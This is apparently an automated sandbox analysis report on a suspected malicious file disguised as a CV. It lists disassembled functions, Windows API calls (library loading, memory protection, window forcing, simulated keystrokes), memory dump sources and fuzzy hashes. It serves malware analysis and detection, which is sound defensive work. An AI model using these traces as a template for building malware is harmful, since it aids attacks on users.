                                                                  Download Yara Rule
                                                                  APIs
                                                                  • __flush.LIBCMT ref: 00B42A0B
                                                                    • Part of subcall function 00B47C0E: __getptd_noexit.LIBCMT ref: 00B47C0E
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: __flush__getptd_noexit
                                                                  • String ID:
                                                                  • API String ID: 4101623367-0
                                                                  • Opcode ID: ba1b573b9a1c5d238bdcc52ef1885e10968c5b94d85714b9232a10917baff8d1
                                                                  • Instruction ID: 0c1eaac0abc6546f227e8ec092d35d4201d5409714d368043264cc41055a3823
                                                                  • Opcode Fuzzy Hash: ba1b573b9a1c5d238bdcc52ef1885e10968c5b94d85714b9232a10917baff8d1
                                                                  • Instruction Fuzzy Hash: 41417171600706AFDF288FA9C8815AE7BE6EF84360B6485BDF855C7244EA70DF41BB40
                                                                  Function 00B3ED18 Relevance: 1.6, APIs: 1, Instructions: 94memoryCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: ProtectVirtual
                                                                  • String ID:
                                                                  • API String ID: 544645111-0
                                                                  • Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                                  • Instruction ID: 722538fc1b6b2385c1ad93309ee3d6584bca97bc2107b5d7b94c7a32c59a8bb9
                                                                  • Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                                  • Instruction Fuzzy Hash: 0731A274A001059BD718DF58C480A69FBE6FB49340F7486E6E42ADF2A6DB31EDC1CB90
                                                                  Function 00B8040F Relevance: 1.6, APIs: 1, Instructions: 93COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: _free
                                                                  • String ID:
                                                                  • API String ID: 269201875-0
                                                                  • Opcode ID: c31dbba97240a4d08ce208436ae4729ffa6b6108c7187cc3b31aae1caa306d49
                                                                  • Instruction ID: e88daf8e4b784f6f27be48392cce31b4483c864172cb25934e0d2b1a21b2adc3
                                                                  • Opcode Fuzzy Hash: c31dbba97240a4d08ce208436ae4729ffa6b6108c7187cc3b31aae1caa306d49
                                                                  • Instruction Fuzzy Hash: FB316A75204628DFCB01BF14D0D06AE7BF0FF58360F24849AEA951B396DB74A909CB91
                                                                  Function 00B99A75 Relevance: 1.6, APIs: 1, Instructions: 88COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: ClearVariant
                                                                  • String ID:
                                                                  • API String ID: 1473721057-0
                                                                  • Opcode ID: 071335cd0688f9f40ac29fd14ecd273e620d06e9bdb2e0b731cd1f7c00ece250
                                                                  • Instruction ID: 9de3e95b933b04688236d462d780d724f6a4905b00697285393432df3c6b89d4
                                                                  • Opcode Fuzzy Hash: 071335cd0688f9f40ac29fd14ecd273e620d06e9bdb2e0b731cd1f7c00ece250
                                                                  • Instruction Fuzzy Hash: 084149705086518FDB24DF18C494B2ABBE0EF45304F2989ECE99A4B362C776E845CF52
                                                                  Function 00B241A9 Relevance: 1.6, APIs: 1, Instructions: 63libraryCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B24214: FreeLibrary.KERNEL32(00000000,?), ref: 00B24247
                                                                  • LoadLibraryExW.KERNEL32(00000001,00000000,00000002,?,?,?,?,00B239FE,?,00000001), ref: 00B241DB
                                                                    • Part of subcall function 00B24291: FreeLibrary.KERNEL32(00000000), ref: 00B242C4
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Library$Free$Load
                                                                  • String ID:
                                                                  • API String ID: 2391024519-0
                                                                  • Opcode ID: 27a3d7642a07997ed2314f1b484e061f5f7b186db6262fed8f73b7cad59698ae
                                                                  • Instruction ID: 28d48f16ed47a5528715b15a5fa11cbaa7ca876707846bf0b6a9baa8ab00bc99
                                                                  • Opcode Fuzzy Hash: 27a3d7642a07997ed2314f1b484e061f5f7b186db6262fed8f73b7cad59698ae
                                                                  • Instruction Fuzzy Hash: 5911E331620326EACF14BF71EC06F9E77E99F40700F1084A9F59AAA5C1DF70DA019B60
                                                                  Function 00B99B45 Relevance: 1.6, APIs: 1, Instructions: 62COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: ClearVariant
                                                                  • String ID:
                                                                  • API String ID: 1473721057-0
                                                                  • Opcode ID: bd5db86db587b4effcab60333d2cef81cd98ab3afdcfa0959102b93b23cb5a1f
                                                                  • Instruction ID: d3c5ef9f8639547987b9a666c20fa15c7d9f5c5f95ffe53175bb108adba20c05
                                                                  • Opcode Fuzzy Hash: bd5db86db587b4effcab60333d2cef81cd98ab3afdcfa0959102b93b23cb5a1f
                                                                  • Instruction Fuzzy Hash: B12127705086018FDB24EF68C454B2ABBE1FF84304F2549A8E99A47621C735F845CF52
                                                                  Function 00B4AF61 Relevance: 1.6, APIs: 1, Instructions: 56COMMONLIBRARYCODE
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • ___lock_fhandle.LIBCMT ref: 00B4AFC0
                                                                    • Part of subcall function 00B47BDA: __getptd_noexit.LIBCMT ref: 00B47BDA
                                                                    • Part of subcall function 00B47C0E: __getptd_noexit.LIBCMT ref: 00B47C0E
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: __getptd_noexit$___lock_fhandle
                                                                  • String ID:
                                                                  • API String ID: 1144279405-0
                                                                  • Opcode ID: 664e88494573690badb941b72bb633e8e32786b97da8bd653cf9e4ead9ece1e5
                                                                  • Instruction ID: 95f4bf8d2e8aabe0a7e42b572c6499bf80aafb8cc9de33ef1f9f13c568ae8b7e
                                                                  • Opcode Fuzzy Hash: 664e88494573690badb941b72bb633e8e32786b97da8bd653cf9e4ead9ece1e5
                                                                  • Instruction Fuzzy Hash: 3A115E728456509BDB166FA49882B6977E0DF82322F1546C0E5345F2E2DBB48F40BAA2
                                                                  Function 00B239DB Relevance: 1.5, APIs: 1, Instructions: 41COMMON
                                                                  Download Yara Rule
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: LibraryLoad
                                                                  • String ID:
                                                                  • API String ID: 1029625771-0
                                                                  • Opcode ID: e908df7db2011151d19b897d4a4948494f90a1a3426dd436a38c65c5f4b6a17e
                                                                  • Instruction ID: 7b85dbe07afac42a1688f2ddc9a9a11b05a3039ce5c7d6812108ad1f7ec35e1a
                                                                  • Opcode Fuzzy Hash: e908df7db2011151d19b897d4a4948494f90a1a3426dd436a38c65c5f4b6a17e
                                                                  • Instruction Fuzzy Hash: CE013131910119EECF05EFA4D8929FEBFF4EF21344F1080A9B566971A5EB309A49DB60
                                                                  Function 00B42AAE Relevance: 1.5, APIs: 1, Instructions: 35COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • __lock_file.LIBCMT ref: 00B42AED
                                                                    • Part of subcall function 00B47C0E: __getptd_noexit.LIBCMT ref: 00B47C0E
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: __getptd_noexit__lock_file
                                                                  • String ID:
                                                                  • API String ID: 2597487223-0
                                                                  • Opcode ID: 9cc3c53f9f46123fb85318b0976bccd5d89290ce25639e67502ce5facddc7886
                                                                  • Instruction ID: fbdade54045ec87efbe9f65119d936545d56345dda703e1e7301567b789cf7d1
                                                                  • Opcode Fuzzy Hash: 9cc3c53f9f46123fb85318b0976bccd5d89290ce25639e67502ce5facddc7886
                                                                  • Instruction Fuzzy Hash: 77F06D31980605AADF21AFB58C0679F3BE5FF01320F5584D5F8149A1A1DB788B62FB52
                                                                  Function 00B24252 Relevance: 1.5, APIs: 1, Instructions: 28COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • FreeLibrary.KERNEL32(?,?,?,?,?,00B239FE,?,00000001), ref: 00B24286
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: FreeLibrary
                                                                  • String ID:
                                                                  • API String ID: 3664257935-0
                                                                  • Opcode ID: 18b7dfa6cedd75244a7233e80eddb07e1f21ca13def843240dad7708c4307f83
                                                                  • Instruction ID: 05de79a4f5113946c42e72c175a3d48ea28647feec0413f6bbc0f5262d492c33
                                                                  • Opcode Fuzzy Hash: 18b7dfa6cedd75244a7233e80eddb07e1f21ca13def843240dad7708c4307f83
                                                                  • Instruction Fuzzy Hash: CBF03971515722DFCB349F66E890826BBE4FF143253248ABEF1DA82A10C7729940DF50
                                                                  Function 00B240A7 Relevance: 1.5, APIs: 1, Instructions: 23COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00B240C6
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: LongNamePath
                                                                  • String ID:
                                                                  • API String ID: 82841172-0
                                                                  • Opcode ID: 50d516e1f91a4035394ee20c48af8d2d41e655935c74936b73c44b0fe3b957f5
                                                                  • Instruction ID: 65aae3362237051556f6d3d8f789ad3616ca0fe966c055659217ac4af0b31952
                                                                  • Opcode Fuzzy Hash: 50d516e1f91a4035394ee20c48af8d2d41e655935c74936b73c44b0fe3b957f5
                                                                  • Instruction Fuzzy Hash: 79E0C236A002245BCB11A658DC46FFA77EDDF8D6A0F0901B5F909E7244DE64AE819690
                                                                  Function 014DE1B0 Relevance: 1.3, APIs: 1, Instructions: 18sleepCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • Sleep.KERNELBASE(000001F4), ref: 014DE1C1
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1383175350.00000000014DB000.00000040.00000020.00020000.00000000.sdmp, Offset: 014DB000, based on PE: false
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_14db000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Sleep
                                                                  • String ID:
                                                                  • API String ID: 3472027048-0
                                                                  • Opcode ID: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                                  • Instruction ID: db4aff82cef890434c1e5715a43375a5508319204207430b52ae3a3cc50ce35a
                                                                  • Opcode Fuzzy Hash: 368835ae2f5fba710e6c01549c2017e46dd928bc4d187f44ede00cceab054826
                                                                  • Instruction Fuzzy Hash: 0AE0E67494010DDFDB00EFB4D6496EE7FB4EF04301F100561FD01E2281D6309D508A62

                                                                  Non-executed Functions

                                                                  Function 00B8F7FF Relevance: 75.9, APIs: 40, Strings: 3, Instructions: 630windowkeyboardCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                    • Part of subcall function 00B3B34E: GetWindowLongW.USER32(?,000000EB), ref: 00B3B35F
                                                                  • DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?,?), ref: 00B8F87D
                                                                  • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00B8F8DC
                                                                  • GetWindowLongW.USER32(?,000000F0), ref: 00B8F919
                                                                  • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00B8F940
                                                                  • SendMessageW.USER32 ref: 00B8F966
                                                                  • _wcsncpy.LIBCMT ref: 00B8F9D2
                                                                  • GetKeyState.USER32(00000011), ref: 00B8F9F3
                                                                  • GetKeyState.USER32(00000009), ref: 00B8FA00
                                                                  • SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 00B8FA16
                                                                  • GetKeyState.USER32(00000010), ref: 00B8FA20
                                                                  • SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 00B8FA4F
                                                                  • SendMessageW.USER32 ref: 00B8FA72
                                                                  • SendMessageW.USER32(?,00001030,?,00B8E059), ref: 00B8FB6F
                                                                  • ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?,?), ref: 00B8FB85
                                                                  • ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 00B8FB96
                                                                  • SetCapture.USER32(?), ref: 00B8FB9F
                                                                  • ClientToScreen.USER32(?,?), ref: 00B8FC03
                                                                  • ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 00B8FC0F
                                                                  • InvalidateRect.USER32(?,00000000,00000001,?,?,?,?), ref: 00B8FC29
                                                                  • ReleaseCapture.USER32 ref: 00B8FC34
                                                                  • GetCursorPos.USER32(?), ref: 00B8FC69
                                                                  • ScreenToClient.USER32(?,?), ref: 00B8FC76
                                                                  • SendMessageW.USER32(?,00001012,00000000,?), ref: 00B8FCD8
                                                                  • SendMessageW.USER32 ref: 00B8FD02
                                                                  • SendMessageW.USER32(?,00001111,00000000,?), ref: 00B8FD41
                                                                  • SendMessageW.USER32 ref: 00B8FD6C
                                                                  • SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 00B8FD84
                                                                  • SendMessageW.USER32(?,0000110B,00000009,?), ref: 00B8FD8F
                                                                  • GetCursorPos.USER32(?), ref: 00B8FDB0
                                                                  • ScreenToClient.USER32(?,?), ref: 00B8FDBD
                                                                  • GetParent.USER32(?), ref: 00B8FDD9
                                                                  • SendMessageW.USER32(?,00001012,00000000,?), ref: 00B8FE3F
                                                                  • SendMessageW.USER32 ref: 00B8FE6F
                                                                  • ClientToScreen.USER32(?,?), ref: 00B8FEC5
                                                                  • TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 00B8FEF1
                                                                  • SendMessageW.USER32(?,00001111,00000000,?), ref: 00B8FF19
                                                                  • SendMessageW.USER32 ref: 00B8FF3C
                                                                  • ClientToScreen.USER32(?,?), ref: 00B8FF86
                                                                  • TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 00B8FFB6
                                                                  • GetWindowLongW.USER32(?,000000F0), ref: 00B9004B
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend$ClientScreen$Image$CursorDragList_LongStateWindow$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease_wcsncpy
                                                                  • String ID: @GUI_DRAGID$@U=u$F
                                                                  • API String ID: 2516578528-1007936534
                                                                  • Opcode ID: 52d234055335352e6441b84eae3e26c1213ac911c571a883da5f7c51dc68593e
                                                                  • Instruction ID: cb8c5419115ddc9ccef5da6871034e910a4a2874c6d0b94ac4262e2a99aac33b
                                                                  • Opcode Fuzzy Hash: 52d234055335352e6441b84eae3e26c1213ac911c571a883da5f7c51dc68593e
                                                                  • Instruction Fuzzy Hash: 32328A74604246EFDB10EF68C884ABABBE8FF49354F140AA9F695872B1CB31DC51CB51
                                                                  Function 00B8AACE Relevance: 61.8, APIs: 33, Strings: 2, Instructions: 574windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SendMessageW.USER32(?,00000400,00000000,00000000), ref: 00B8B1CD
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: MessageSend
                                                                  • String ID: %d/%02d/%02d$@U=u
                                                                  • API String ID: 3850602802-2764005415
                                                                  • Opcode ID: 3085c1185291aeb94f17d2ecfafdb8431eecf56d18032f7fe12e857dd5c1d668
                                                                  • Instruction ID: fd843ba36baef63d846ced6ad5ded8479ef4c70d3718dcdb2814934af61a746f
                                                                  • Opcode Fuzzy Hash: 3085c1185291aeb94f17d2ecfafdb8431eecf56d18032f7fe12e857dd5c1d668
                                                                  • Instruction Fuzzy Hash: 9812C071500218ABEB25AF68CC49FAE7BF4FF45710F1441AAF91AEB2E1DB709941CB11
                                                                  Function 00B3EB42 Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetForegroundWindow.USER32(00000000,00000000), ref: 00B3EB4A
                                                                  • FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 00B93AEA
                                                                  • IsIconic.USER32(000000FF), ref: 00B93AF3
                                                                  • ShowWindow.USER32(000000FF,00000009), ref: 00B93B00
                                                                  • SetForegroundWindow.USER32(000000FF), ref: 00B93B0A
                                                                  • GetWindowThreadProcessId.USER32(00000000,00000000), ref: 00B93B20
                                                                  • GetCurrentThreadId.KERNEL32 ref: 00B93B27
                                                                  • GetWindowThreadProcessId.USER32(000000FF,00000000), ref: 00B93B33
                                                                  • AttachThreadInput.USER32(000000FF,00000000,00000001), ref: 00B93B44
                                                                  • AttachThreadInput.USER32(000000FF,00000000,00000001), ref: 00B93B4C
                                                                  • AttachThreadInput.USER32(00000000,?,00000001), ref: 00B93B54
                                                                  • SetForegroundWindow.USER32(000000FF), ref: 00B93B57
                                                                  • MapVirtualKeyW.USER32(00000012,00000000), ref: 00B93B6C
                                                                  • keybd_event.USER32(00000012,00000000), ref: 00B93B77
                                                                  • MapVirtualKeyW.USER32(00000012,00000000), ref: 00B93B81
                                                                  • keybd_event.USER32(00000012,00000000), ref: 00B93B86
                                                                  • MapVirtualKeyW.USER32(00000012,00000000), ref: 00B93B8F
                                                                  • keybd_event.USER32(00000012,00000000), ref: 00B93B94
                                                                  • MapVirtualKeyW.USER32(00000012,00000000), ref: 00B93B9E
                                                                  • keybd_event.USER32(00000012,00000000), ref: 00B93BA3
                                                                  • SetForegroundWindow.USER32(000000FF), ref: 00B93BA6
                                                                  • AttachThreadInput.USER32(000000FF,?,00000000), ref: 00B93BCD
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
                                                                  • String ID: Shell_TrayWnd
                                                                  • API String ID: 4125248594-2988720461
                                                                  • Opcode ID: 7b9dcf6dc2e839ea0a60c3bc78950b847c1bf572c1bfaeccc21f54d045590e7a
                                                                  • Instruction ID: 395b04137b878328d1fe3c425d7b2324cca8e6f94881cc816ce4a0ee8da106bf
                                                                  • Opcode Fuzzy Hash: 7b9dcf6dc2e839ea0a60c3bc78950b847c1bf572c1bfaeccc21f54d045590e7a
